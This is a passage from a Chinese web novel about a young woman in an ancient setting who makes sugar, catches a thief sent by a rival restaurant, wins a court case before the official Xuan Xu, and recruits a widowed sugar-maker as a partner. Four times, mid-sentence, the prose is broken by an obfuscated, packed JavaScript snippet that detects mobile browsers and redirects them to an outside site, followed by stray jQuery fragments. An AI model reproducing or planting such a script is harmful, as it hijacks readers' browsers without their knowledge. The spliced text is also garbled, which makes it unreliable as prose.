经过这么多天的勤学苦练，她的动作可算是有点耍枪的样子，不再像之前那样张牙舞爪。 今早练习时，庄图南还说她进步很大，就这一句话，可是让历经苦楚的艾从雪见到了希望的曙光。 想起这事，艾从雪嘴角忍不住地上扬，轻快地掀开盖着第一批陶罐的竹席。 只见糖浆表面覆着薄薄一层结晶，艾从雪伸手拿出竹篾，上面已经挂满糖霜，像极了结满果子的枝头。 她端着竹簸箕爬出地窖，小心地把竹篾上的糖霜给敲下来。虽说是头茬糖霜，成色不是最佳，但能制出来已实属不易。 糖霜适合炖煮，如今正值秋季，艾从雪借着前世记忆写下糖霜炖雪梨的方子，唤来庄图南道： “图南你去集上买些梨回来，待会儿要用。” 她要先试试这个方子行不行，先前家中买不起牛乳这种贵物件，便是光脚都不怕穿鞋的，试都没试直接拿着方子闯荡。 如今还是稳妥些为好，别在自己拿着方子巴巴地去了听雨楼，却做不出来，这可就贻笑大方了。 “图南这孩子，平日里寡言少语的，当真是老实，一点也不像之前我买他时的样子。”艾从雪进了灶屋和林晚聊道。 “许是怕你不买他吧。”林晚坐在灶前小板凳上答道：“人老实就行，偷奸耍滑的人咱艾家可不要。” 艾从雪点点头，想起平日里庄图南的样子道：“只有教我枪法时话多些，寻常就是问一句答一句，跟个闷葫芦似的。” “对了，阿娘，等会图南买了梨回来，你照我写的方子做一下试试，看看这新制的糖霜质量如何。” 林晚听见艾从雪的话，眉眼含笑，“雪儿让阿娘做，阿娘自然是要做好的。” 直至半边天铺满红色时，庄图南才回来，提着竹篮迈进院门时，裤脚还淌着的水。 艾从雪眼睛瞪得老大，诧异道：“怎么回事，被人欺负了？” 她伸手想要看看是怎么回事，却被不着痕迹的躲过去。 “路上沾了点泥，把裤子在河边洗了洗。”庄图南低头递过梨，眼神闪躲。 艾从雪放下心来，她这小师傅虽然内向但也不像是会被人欺负的人，只是没想到这么爱干净，脏了一点都要洗掉。 艾从雪把梨洗干净后，进屋内观摩林晚炖汤。 虽说是第一次做这东西，林晚却像是演练数百遍一般，行云流水不见半分生涩。 艾从雪看着咕嘟咕嘟冒泡的糖霜雪梨，独属于梨子的清香被煮出来，心想：这才是色香味俱全啊。 “我去喊阿爹和图南过来尝尝。”她端着盛好的碗兴冲冲跑到了堂屋内。 “雪儿，这糖味和赤糖不一样啊。”艾升荣扶着腰喝了一口道。 艾从雪止住林晚想要解释的动作，神秘一笑，“阿爹猜猜这是放了什么？” 艾升荣低头又喝了一口，嘴里砸吧几下，回味好一会儿才继续说道：“没有焦味，不像赤糖，口感也不像蜂蜜。” 连说了好几个糖类都没说中，林晚脸上的笑容都要憋不住，对艾从雪道：“雪儿，你就告诉你阿爹吧，他想破头也是猜不出来的。” 艾从雪这才悠悠开口，“这是我新制的糖霜，怎么样，味道可以吧。” “糖霜？”艾升荣有些怔愣，“这是什么糖？” “阿爹先在这等着，我去拿给你看。”还没说完艾从雪就已经冲出屋内，迫不及待给她阿爹见识见识这新品种。 微黄却又如冰晶的糖霜挨个睡在簸箕上，艾升荣眼睛都要贴到那糖霜上了，拿起一块看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280371|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了又看，敲敲碰碰，新奇得紧。 “好了阿爹，别看了，后面更多呢，你先说说这炖的汤怎么样。”说着艾从雪又看向一旁像是透明人的庄图南，“图南你也说说怎么样。” 艾升荣捋着胡子做出大师的样子，清清喉咙，沉声道：“口感细腻，少了焦味多了甜，甚好，甚好！” “很好。”庄图南也点点头附和。 一家人嬉嬉笑笑地吃完晚饭后，艾从雪继续在院中练习。 明月高悬于天际，皎洁的样子容不下一丝污秽。 打完一套后艾从雪面色红润，额头都布上细密汗珠，她擦了擦汗，边回忆着刚刚磕绊的地方，边走向庄图南那里想要讨教。 忽的，艾从雪脚步一顿，正要推开后院木门的手收了回来。 侧身抬头望向墙边，眼里满是审视——很寻常，没有任何不对之处。 只是太安静了，显得有些死寂。 平日里怎么也不住嘴的蟋蟀，今天像是哑巴了一样。 艾从雪快步走到墙边查看。 月光白得渗人，宛若一道阴冷的目光，盯着墙头那片疤痕样的褐色痕迹。 艾从雪翻身跳上墙头，在月光的照耀下看着那处格格不入的地方。 秋风瑟瑟，吹得艾从雪心底发凉，这是片已经干涸泥土。 艾从雪跳下来直冲后院，第一时间钻进地窖。 地窖阴冷无比，艾从雪全身汗毛竖起，查看着这里的异样。 糖罐子严丝合缝地排在一起，没有任何变动，赤糖糖霜都老老实实地待在罐里，众糖你贴着我我贴着你，非常祥和。 但是—— 后院中，庄图南屋内东西规规矩矩地摆着，本应在屋内的人却消失不见。 只余桌上匆匆写下的“贼”字。 艾从雪在屋中焦急地打转，以庄图南的身手，应当是不用担心的，但是艾从雪总觉心慌得很。 瞥见庄图南晾在屋内的裤子，艾从雪瞳孔紧缩，顾不上什么尊重不尊重人了。 先前衣摆盖着没看出来，眼下却是赤裸裸地摆在她面前。 忽略的细节在艾从雪脑中串联，她心下一惊，却是怎么也待不住了，拿起手中长棍就冲出家门。 这些天没下过雨，墙上的泥应是路过河边沾上的，艾从雪思索片刻，直直跑向离家不远的河岸。 此时此刻，庄图南追上那贼人，一记横扫直攻对方下盘，趁对方不备扣住胳膊将其背摔在地。 “少侠饶命！”“少侠饶命！”那人嘴里翻来覆去地说着这句话。 庄图南听见背后动静，扭头回望。 却不曾想，那贼人抱住他左腿，手中寒光乍现。 “小心！” 赶来的艾从雪见状挑棍打过去，贼人手中匕首掉落在地，接着一脚踩上对方的背，把他困在地上。 庄图南撕下贼人衣角，把他双手一绑，“这人鬼鬼祟祟的溜进后院。” 艾从雪弯腰拽下他的面罩，定睛一瞧，这不正是白天那个月来酒楼的小厮。 12. 哭诉 艾从雪踩住小厮的手腕，碾过其指节，逼得他惨叫连连，“说！你来这干什么！” 河水撞击着岸边的石头，“哗哗”声伴着艾从雪充满怒气的声音。 庄图南捡起地上的匕首，刀刃紧贴小厮的脖颈，划出一道极细的血痕，“谁派你来的。” 小厮这下没了白日的倨傲，吓得浑身发抖，跪在地上惊慌失措道：“艾老板饶命，小的，小的……” 匕首更近一分，小厮甚至能听见自己血肉绽开的声音，他衣服下渗出可疑水渍，“是李掌柜！是他！求艾老板饶了我吧！” 一股骚味从他□□传来，艾从雪眉头紧皱，厌恶地瞥了他一眼，对庄图南说道：“先带回家，明日去官府。” 屋内，庄图南看着艾从雪的身影犹豫许久，才下定决心张口道：“官府没用的。” 艾从雪挑眉一笑，“我自是知道官府没用，那月来酒楼能开那么红火必然有靠山。 今日若咽下这口气，日后必然变本加厉，倒不如报官府吓他们一下，能恶心到他们也是好的。” “只是我没想到，庄师傅竟然是……”艾从雪站起身，走到屋脚的晾衣架旁，侧头望向庄图南。 庄图南心里咯噔一下，凉意从脚底生出贯穿整个身躯，面上却是一如往常，声音依旧低哑：“艾娘子有何事？” 艾从雪看着庄图南骤然紧绷的身体，叹了口气，“我不会说出去的。” 庄图南似是没想到艾从雪会这样说，愣了好久才回道，“多谢艾娘子。” “你嗓子是……罢了，记得明日陪我去官府。”艾从雪拍了拍庄图南的肩膀，“东西灶屋里有，记得去拿。” 庄图南点点头，咬着唇“嗯”了一声。 艾从雪本想着明日带着冰糖去万柳那，出了这档子事当真是煞风景。 门板咯吱作响，艾从雪拎起墙角的棍子，照着蜷缩在稻草堆里的身影就是几下闷响。 一夜无梦。 艾从雪睡得挺好，见到庄图南时却被其眼下的青灰惊到了。 “你这是一夜没睡？这可不行啊，会伤到身体根本的。” “没事。” 听见庄图南这样说艾从雪也只能作罢，把小厮押出来，一行人就这样到了官府。 “请大人明鉴，民女不过是想讨个活路。”艾从雪哽咽道，纤指拢了拢碎发，一派脆弱模样，“民女债务缠身，如今出了这事……” 瘦得像猴一样的主审官看着艾从雪问道：“你有何冤情？” 艾从雪绘声绘色、避重就轻地讲述昨日的经过，说完，跪坐在地上袖口半掩面，泪珠恰如其分落下。 “大人，民女小本生意不容易，这月来酒楼还要觊觎民女家传技艺，如何让人安心！” 一旁的庄图南站也不是坐也不是，手足无措地想要扶起艾从雪，却被艾从雪掐了一把。 庄图南立刻低头恭敬行礼，语气里满是愤恨与隐忍，“我家娘子不容易，还望大人明查。” “朱二牙，你可承认？” 朱二牙身旁站着的人推了他一把。此人身着藏青衣衫，腰间配了个半月型玉扣，正是月来楼掌柜朱良。 “大人，小的，小的不认！”朱二牙哆哆嗦嗦地扒开自己的衣领，把脖颈刚结痂的刀痕露出来。 “分明是这二人污蔑，我不过是路过，他们就要置我于死地，大人您看，这就是证据。” “路过？我家离你们酒楼可远着呢，你是路哪门子的过！”艾从雪眼里噙着泪，一副柔弱无比的样子控诉道。 “可有证据？” “民女家中墙头上还有这贼人的鞋印，大人可派人去查看。” 这话一出，朱良眼里冒火，直接给跪在地上的朱二牙来了一脚。 朱二牙被踢了一脚，捂着屁股，龇牙咧嘴地磕头道：“小的欲为母亲治病，大夫说那……那药引子只有墙头上有！” 艾从雪听见这话差点没笑出声，皱着眉期期艾艾地看向主审官，“大人，民女长那么大可从来没听说过这药引子，大人明察秋毫，定是会还民女一个公道的。” 一番探查下来，果如艾从雪所说。只是主审官正要判罪，却有一下属悄声在他耳边说了几句话。 主审官到嘴的话拐了个弯：“月来酒楼虽是有错，但尚未酿成大祸，且朱二牙险些被艾氏所害，此番算是两清。” 又看到台下艾从雪满脸哀怨，顿了顿道：“不过月来酒楼有错在先，就判赔给艾氏二两白银。” 朱良不过是从手指头缝里漏二两当作封口费，而艾从雪本就只想着恶心对方一把，得到二两银子已经是意外之喜。 因此，二人对此次判决并无异议。 主审官拍下惊堂木，正欲结束这个案件，又被从后方走出的一人堵住了嘴。 看着那人的身影，他心里一慌——这位大人看了多久？旋即起身弯着腰把玄序送到自己刚刚坐的位置上，“玄大人怎的来了，快坐快坐。” 接着老老实实站在一旁，祈祷这瘟神方才什么都没看见。 台下艾从雪听见这动静，一抬头与玄序四目相对。 他怎么出现在这？ 艾从雪眼底闪过一抹晦色，眼下这案子怕是要重审，这玄序刚正不阿，只是不知道他与月来酒楼背后势力谁大。 若是月来酒楼大，自己如此哭诉，怎么着也得多给自己点赔偿，蚊子再小也是肉。 若是玄序大，艾从雪低头勾唇一笑，就凭这偷窃罪名，定能让对方吃个大亏。 主审官弯腰恭敬道：“玄大人，在下职位低下，想来这案子须得是大人才能判的。” 朱良见到玄序脸色一变，此刻真是恨不得将这个成事不足败事有余的堂弟宰了，早知玄序插手，该让东家出面的，眼下却是落在下风。 玄序此前一直在屏风后旁边看着这场官司，艾从雪这哭哭啼啼的样子倒是让他颇为意外。 玄序一拍惊堂木，沉声道：“朱二牙犯偷盗之罪，押入大牢，月来酒楼违反行商律法，念其未酿成大祸，赔偿艾氏十两白银作为补偿。” 十两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293344|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白银！ 艾从雪低垂的睫毛轻颤，袖中指尖微微发麻。她原想着能抠出三四两已是难得，此刻竭力克制唇角弧度，免得教人看出。 接着，玄序碧色眸子看向朱良，“月来酒楼管理不严，我将会派人监察酒楼。” 朱良的脸此刻直接绿了，要是查出什么，自己别说这掌柜的位置，命都不知道还能不能有。 艾从雪对此丝毫不关心，十两白银到手后就带着庄图南出了官府，一路哼着小调地回去取冰糖。 这官司费了太长时间，搞得艾从雪提着冰糖到听雨楼时都快到晚饭时候了。 万柳一见到艾从雪立马快步迎了上来，“怎的这个时候来了，快坐下。” 艾从雪笑着回道：“阿姐莫非是不欢迎我来？” “整日梦着你来，这话说的可是冤枉我了。” 艾从雪这边板凳还没坐热，那边万柳一拍头道：“瞧我这脑子，这几日愁昏了头，从雪你跟我上二楼包间。” 刚进屋内，万柳就迫不及待问道：“今儿晌午是发生何事了？半天功夫整个京城酒楼都知道你和月来酒楼去官府了，我问小序他也不说。” “没什么事，不过是月来酒楼想偷我家制糖秘方，这不，正好让我逮住了，怎么着也不能咽下这口窝囊气。” “月来酒楼这些天也推出了姜撞奶，我雇人去尝了，味道和咱家的差不多，价钱也是差不多，怎么会想着去偷秘方？” 万柳对此百思不得其解，这些天酒楼积累的贵客没少去月来楼那，自己就等着艾从雪带来新品种后再推出新品来着。 “味道差不多？”艾从雪反复咀嚼着这句话。 许久，艾从雪才从思绪中走出，“阿姐不用放在心上，月来酒楼不足为惧。”她把一直放在包里的糖霜拿出来摆在桌上。 琉璃般的糖霜撞进万柳的眼里，“这是？” “这就是我之前说的新品种。”艾从雪挑出一块碎琉璃，递给万柳，“阿姐尝尝看？” 万柳捧着这宝贝小心翼翼放进自己口中，眼睛放光道：“这糖叫何名字？别说做菜了，单单是只卖这糖都有人买吧！” “此乃糖霜，因像冰霜而得名。还请阿姐拿来纸笔，我把菜品方子写下来。” 万柳忙不迭地应下，连忙取来纸笔放在艾从雪面前。 须臾之间，一张糖霜炖雪梨的方子跃然纸上，艾从雪吹干墨迹，说道：“这方子算是抛砖引玉，其余做法还要看阿姐雇的大厨。” “自是不能事事劳烦从雪，累着可就得不偿失了。”万柳咯咯一笑，对艾从雪那是言听计从，这可是个可遇不可求的贵人。 对于艾从雪为何懂这么多，二人则是心照不宣的保持沉默。 万柳收下方子与艾从雪带来的几两糖霜，拉着艾从雪吃了顿饭并谈好了这糖霜的价钱，生怕艾从雪跑了。 最后谈下的价钱是五百文一斤，先要十斤糖霜看看效果，赤糖则还是原来的量，如此一来下月初艾从雪就能还完债款，这可比之前的三月还要早一个月。 13. 合作 “这甘蔗为何不卖？”艾从雪慢条斯理地拿起一根甘蔗问道。 码头的蔗商一把夺过去，像是艾从雪身上有什么瘟疫似的，高声道：“不卖就是不卖，问那么多干什么！” 平日里常光顾的蔗商都对艾从雪避如蛇蝎，说什么也不卖给她。 只有一人，还算好心，对艾从雪使了个眼色，艾从雪会意，走到一处偏僻的地方。 “上面吩咐的。”那人只匆匆扔下一句话。 艾从雪皱着眉思索，准备从街上拉个人让他替自己买甘蔗。 却不曾想那人见了她的模样，竟是直接跑了。 再一问，原是那月来酒楼门前贴了个劳什子告示—— 凡是与艾从雪一行人有接触的，一经举报，子孙皆不能入月来书院。下面还整整齐齐贴了几张画像，连庄图南都被贴上去了。 这原来书院可是京城最负盛名的学府，不少官员都是从这里出来的，最耀眼的还属那圣上亲封的玄序玄大人，可以说只要进了这里，最次也能当个七品小官。 何况它每年还有不少贫民名额，京城中不论权贵还是乞丐，都能进去改变命运，因此公告一出，没人愿意触霉头。 “怎么了这是，今日卖甘蔗的没来吗？”林晚见艾从雪进门时面色不虞，担忧的问道。 艾从雪摆摆手没说话，若无其事地走进存放糖的地窖。 一遍遍抚摸着圆滚滚的陶罐，动作轻柔无比，如同对待脆弱的婴孩。 一个，两个，三个…… 手指擦过陶罐产生的沙沙声像是孩子们在回应她。 忽的，她的动作不再像之前那么顺畅，一顿一顿的。 她的手哭了，指尖变得酸涩。 艾从雪直直的立在陶罐旁，不知道在想什么。 她深吸一口气，转身爬出了地窖。 林晚与艾升荣在地窖口不敢出声询问，又怕艾从雪出事，急得是满头大汗，这会儿见女儿出来立马围了上去。 “没事吧，雪儿。”艾升荣担忧地问道。 艾从雪见自己阿爹腰上还绑着竹片呢，还那么担心她，心头一暖，先前地窖时没哭出的泪水都涌了出来。 林晚见艾升荣一出声自己宝贝女儿就哭了，踩了艾升荣一脚，慌忙地上前拿着帕子给艾从雪擦眼泪。 这下可好本来能止住的眼泪彻底停不下来了，像是要把上辈子这辈子的委屈都要哭出来似的，怎么都流不完。 正午的阳光撒在艾从雪身上，给她镀了一层金边。 艾从雪痛痛快快哭了一场，狠狠抹了把脸，将泪水埋进掌心，一字一句像是在宣誓，“我不会被打倒的。” 上辈子无父无母她都能扛过去，这辈子更不必说。 …… 京城数日之间出现了许多低价赤糖，质量虽不是上乘，但耐不住价格低廉。 而艾家后院时不时就有些老鼠，抓也抓不到，一溜烟就跑了。 榨蔗机因露天摆放被人学去，好在熬糖在灶屋，旁人难以悄无声息地进去。 艾从雪这几日已经做好规划，既然别人要毁了她，那她也不是案板上的鱼肉。 京城周边有许多像艾家一样的小作坊，其中有一家像艾家一样，只有一独女，这朝代女子虽可行商，却做不了官。 因此，有钱人家多是请老师在家里教授学识，没钱的自是不用多想。 夜鹰扑棱棱从一棵树飞进一片树，欢喜地哒哒哒叫起来。 艾从雪趁着夜色敲响了许家的门，黑夜中她的眼睛亮的惊人，像一只警戒的狼，时刻注意着四周情况。 老旧的木门随着开门的动作发出难听的声音，一个妇人探出了头。 许巧兰本不耐烦的脸色一变。 月来酒楼不仅贴了那几张告示，还散播是艾家制的糖抢了京城糖户的生意，说什么近日的低价糖也都是艾从雪所为。 许巧兰的女儿自幼体弱，就靠制糖的那点钱买药调养身体，她可是恨极了艾家。 正欲关门闭客，却不曾想，艾从雪已经半个身子卡在了门间，关也关不上。 又恐怕引来邻居举报，不敢大声呵斥，虽说自家没人也没法子去那月来书院，许巧。 艾从雪脸上笑嘻嘻地顺势挤进了许家。 “还请艾娘子速速离去。”许巧兰压低声音道。 “许姐姐莫生气。”艾从雪笑着拉进关系道：“我是来谈生意的。” “整个京城都避着你，谈什么生意？”许巧兰嗤笑一声，并不相信艾从雪的话。 艾从雪把带来的糖霜与赤糖放在架子上，“整个京城避着的是我，可没说避着其他糖户。” 许巧兰看着那罐子心中狐疑，“你这是？” “这是我艾家制的糖，眼下京中无人敢卖我甘蔗，已是制不出。”艾从雪颇为可惜的摇摇头，眼睛却一直盯着许巧兰。 艾从雪听见她发出一声嗤笑，像是要把什么难听话咽回去，接着指着自己道：“那些低价糖是怎么回事？难道不是你给的法子？在这给我当兔子呢？” 艾从雪叹了一口气，“许姐姐可真真是冤枉我了，月来酒楼家大业大可不是他们说什么就是什么。许姐姐难道真信他们是善人？不过……” 艾从雪话锋一转，胸有成竹道：“如今市面上不过是学了些增量的方法，至于提高成色的，可是没学到。” “什么成色？”一时半会儿艾从雪也不可能出去，许巧兰也就歇了赶她出去的心，问道。 “许姐姐请看。”艾从雪打开陶罐，抓出一把赤糖递给许巧兰。 许巧兰见艾从雪如此随意对待赤糖，眼瞪得老大，这一把可就是几十文的价格。 即使许巧兰再讨厌艾从雪，也是用双手小心翼翼地捧起赤糖。 白日里是个阴天，晚上的光线也不是太好，许巧兰究竟是做了近十年糖的老手，光靠闻味道，就已经判断出这糖不错。 扔下艾从雪就跑到屋内接着烛光打量。 艾从雪则是在外面百无聊赖地揪着砖缝里长出来的一株野草，她相信这糖的品质足以打动许巧兰。 前些日子，万柳担心她出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304621|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么事，曾亲自来找过她。 “从雪可需要什么帮助？你阿姐我这么多年在京城也不是白干的。”万柳仗义地拍拍胸口道，却是一点没说自己酒楼因为这事起的风波。 艾从雪和万柳如今是一条绳子上的蚂蚱，加上又是结拜姐妹，也没推辞，“阿姐可能调查一下京中糖户情况？其余的我自己来就好。” 万柳一口答应，这点小事她还是能帮的，继而说道：“阿序同我说起这事了，他这些天忙得焦头烂额，我先代他赔罪。” 由此，她可是打听到了许家的所有情况—— 许巧兰丈夫在其孕期意外去世，惊了胎气，导致许巧兰女儿先天体弱，许巧兰一个寡妇带着女儿靠制糖维持生计。 许巧兰一个人本就挣不了多少钱还要每月给女儿拿药，能把女儿养大已经实属不易，眼下又有了低价糖，这生意更是不好做。 果不其然，许巧兰在屋中待了许久后又出来了，看着蹲在地上的艾从雪出言问道：“怎么谈？” 听见这话，艾从雪眉毛一挑，站起身拍了拍衣服，却是反问道：“许姐姐以为呢？” “我是个粗人，没上过什么学，从小到大也只跟着死去的男人学了手制糖，实在是不知道有什么值得艾娘子深夜来访的。” 许巧兰说的是心里话，她真是不知道那么多糖户，艾从雪为何偏偏找她。 “许姐姐凭一人养大孩子，可见心智坚定；赤糖有固定的客人，可见待人真诚。仅此两样，足以让我认定你是我要找的可以合作的人。” 艾从雪说完，真切地看着许巧兰，“当然，令爱上不了学也是我考虑的一方面。” 许巧兰听见谈及女儿，眼神有些黯淡：“艾娘子如此坦言，倒显得我小气了。” 艾从雪嘴角勾起一抹笑，“不过，令爱也到了识字的年纪了，若是许姐姐与我合作……” 这话一出，许巧兰猛地一抬头，她把这女儿当宝贝疙瘩一样疼爱，可惜女儿自幼体弱，但即使如此，女儿对于识字的渴望依旧无法掩盖。 小小的人儿，整日拿着那大夫开的药方子比划着写字，可惜家中不过能温饱，更别说教她识字。 只是她怎么会知道？ 许巧兰眼底与警惕交织，“此言当真？” “自是当真。”艾从雪拿出陶罐中的糖霜，“许姐姐与我合作，可不仅能得到赤糖的法子，说不定能得到这糖霜之法呢。” 艾从雪指尖抚过糖霜凹凸不平的表面，将其轻缓地放入许巧兰手心。 “要我怎么做？” “只消得让许姐姐去码头多买些甘蔗就好，至于熬糖的法子，还请到我家中。” 许巧兰不识字，倒是麻烦了些，不然的话给张方子就好。 在许巧兰安顿好家里的事，便与艾从雪摸黑来到艾家。 与许巧兰合作不是长久之计，时间一长月来酒楼必定会有所察觉。 艾从雪手指蘸过茶水，在桌上写下几个大字——监察司玄序。 喃喃道：“你当真是欠我了个大人情。” 14. 令牌 烛台明灭，人影也一晃一晃的，只有坐在中间的人没有任何动作。 玄序闭着眼，似是睡着了。 门外的人轻扣门扉，“笃笃”声一圈圈扩散，极为克制。 “进。” 玄序的思绪被拉回，声音沙哑道。 丹万进屋后，拱手向玄序汇报：“大人，月来酒楼内并无任何线索。” 玄序捏着眉，示意丹万退下，而丹万明显不想让自家大人再这样下去，踌躇道：“大人，好不容易有眉目却又扑空，真能找到吗？” 烛光下，玄序的眼睛泛着黄铜色，丹万心头一颤，慌忙低头认错。 月来酒楼明面上是大皇子的产业，实际上却是皇后的耳目之一，她必然知道些什么，眼下却查不出来，失了这一处线索，下一次有机会不知道是何时。 “四年前我刚踏上科举考场时也是这样迷茫过，只是现在，或许每个人都参与其中。” 玄序抬手掏出衣服下的吊坠，紧紧握住还留有余温的玉，这狼牙是胡族王室的信物。 温度逐渐消散，他心里突然有些恐慌。 面色苍白、嘴唇乌青的女子躺在受潮发黑的稻草堆里，拉住一孩童的手，把东西交给他，绿色眸子如狼一般，在昏暗的屋子里看着孩童。 孩童闻到独属于将死之人的腐朽，有些慌乱，大声哭喊道：“阿娘！” “报仇。”女子吐出两个字后就撒手人寰。 她的温度也如玉石一般逐渐冰凉。 幼时记忆早就模糊不清，只留这一幕深深刻在玄序心头，在每一处骨髓生根发芽。 案前的烛泪已堆成小山，窗外已然不是黑夜，晨时的凉意宛若玉石，惊醒熟睡的玄序。 上朝时，丞相燕恒特意赶到玄序身旁提醒，“玄序啊玄序，你还年轻，做事不计后果，月来酒楼这把火再烧下去，怕是会收不住。” 玄序脚步微滞，指尖一遍遍捋过笏板，终是未发一言，径直走进殿内。 朝会一如既往地无趣，大臣在台下争吵不休，赵启在龙椅上并不想听他们的表演，已经长出皱纹手一挥，宣布退朝。 众人不满却又无可奈何。 玄序下朝后命手下从库中拿些东西送去月来酒楼。 如此，这月来酒楼张贴半月有余的告示终于是拿了下来。 要知道艾从雪可因这东西闹的都没法在家中制糖。 所幸艾家也不是什么重要人物，那月来酒楼只是贴了告示，派了些人来偷走榨蔗机构造，其余的就没在管。 许巧兰白日买了甘蔗就放在屋檐下，用稻草盖住，等晚上则是偷偷运到艾家，顺便帮艾从雪熬糖，先前浪费了几日，只能夜里补回来。 就这样许巧兰小心翼翼，避人耳目地干了数日，直到买甘蔗时路过月来酒楼扫了一眼，这才急匆匆赶到艾家。 到了地方，许巧兰才开始犹豫起来，到底要不要说这件事，说了自己会不会被辞退？ 她指甲深深掐进掌心，在门前踌躇许久，深呼一口气缓缓敲响艾家大门。 “许姐姐怎的白日里来了？”艾从雪见许巧兰，有些狐疑，要知道许巧兰可不是鲁莽的性子。 许巧兰粗糙的手指摩挲着衣角，终于是下定决心，握紧拳头，张口道，“月来酒楼的告示揭了。” 艾从雪有些惊异，没想到这月来酒楼揭的还挺快，原以为起码要月余，这下总算不用束手束脚了。 又注意到许巧兰的情绪，出言宽慰：“许姐姐不用担心，我这糖坊自然不可能一直守着这一隅之地，以后还要请许姐姐相助。” “我没啥学问，只会制糖，有你这话，我算是放下心了。”许巧兰闻言松了一口气。 “许姐姐可别妄自菲薄，那赤糖你一掂量就知道重量，这可是多少人求之不得的能力。” 若说艾从雪先前称一句许姐姐只是为了拉近关系，可这几日相处，许巧兰展现的能力当真是担得起这称呼。 许巧兰在数术上极有天赋，不仅仅只是掂量重量，那数字她一眼望过去就能知道结果。 若是糖坊继续发展下去，许巧兰必然能成为她一大助力。 “既然如此，许姐姐也别晚上再来了，白日里带着小丫一起来这就好，正好有空时我和图南还能教一教。” “多谢艾娘子。”许巧兰面上一喜，当场行了个大礼。 艾从雪连忙拦住，“许姐姐可别折煞我了，不过是举手之劳，等这批糖卖出去，再给小丫请个夫子。” 艾从雪给她的钱远超以往许巧兰自己制糖时赚的，这些天小丫脸上都长肉了，眼下又要请夫子…… 许巧兰这下真是有些唾弃自己先前的犹豫，自己竟然如此不知好歹，连带着干活也更加的卖力了。 影子逐渐拉长，艾从雪抬头看着西垂的日头，对和林晚一起熬糖的许巧兰道：“许姐姐先回家吧，小丫一个人在家怕是要饿了。” 许巧兰这才停了手上的动作，咧嘴笑道：“那我明天把小丫带来。” 而此时，玄序正坐在马车上闭目养神，日光透过窗子在他眉骨打出阴影，马车的方向，正是艾家。 这边艾从雪刚送许巧兰出去不久，自家的大门又被敲响。 “玄大人大驾光临，真是让寒舍蓬荜生辉。”这几日被针对，艾从雪的语气中难免带了些阴阳怪气。 玄序瞅了她一眼，没说话。 艾从雪心里翻了个白眼，这玄序生活里当真是八竿子打不出一个屁，真不知道怎么坐上这检察官的位置的。 边请玄序进屋入座边说道：“玄大人来寒舍可是有什么事？” 这会儿玄序倒是多说了几个字，“赔礼谢罪。” “哦？”艾从雪一挑眉，给玄序倒了一杯茶，“民女可不记得玄大人有什么过错？可是玄大人记错了？” 玄序抬眸看了她一眼，想要从她脸上找出一丝说谎的表现，然而只见到了艾从雪眉毛紧蹙，满眼疑惑的样子，心下一跳。 “先前以你为借口搜查月来酒楼，”玄序顿了顿，见艾从雪还在疑惑地看着他，有些不自在地移走视线，“导致你被月来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330443|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒楼针对。” 艾从雪惊呼一声，“原来是这事啊。我说怎么莫名其妙地买不了甘蔗，被其他人避如蛇蝎，连糖都制不成，可真是举步维艰，连供给听雨楼的货都制、不、出、来、了、呢。” 这话一出，玄序拿茶杯的手颤了颤，睫翼忽闪，抿唇道：“抱歉。” 艾从雪双手环胸，向椅子后一靠，没有说话。 玄序的指节在令牌边缘摩挲一瞬，“监察司的通行令。” 他将其推过桌案，令牌划过不平整的桌面产生的轻响像某种隐秘心跳。 艾从雪眸光一闪，却没有动作，笑道：“玄大人当真是大手笔，民女倒有些不敢接了。” “身外之物而已，于我并无大用，于你而言可让艾氏糖坊在朝中畅通无阻。”玄序定定地看着她，碧色眸子蓄满了真诚。 艾从雪和他对视，忽的轻笑一声，胳膊搭在桌面撑着下巴，有些玩味道：“那民女多谢玄大人了。” 她接过玄序手中的令牌，指尖一触即离。 玄序收回手，垂眸看着指尖，道：“玄序。” “嗯？”艾从雪这会倒是真疑问了，见玄序不说话，好一会儿才反应过来，“那从雪多谢玄序大人了。” “从雪还有一事相求，不知玄序大人能否出手相助？”她顺势说道。 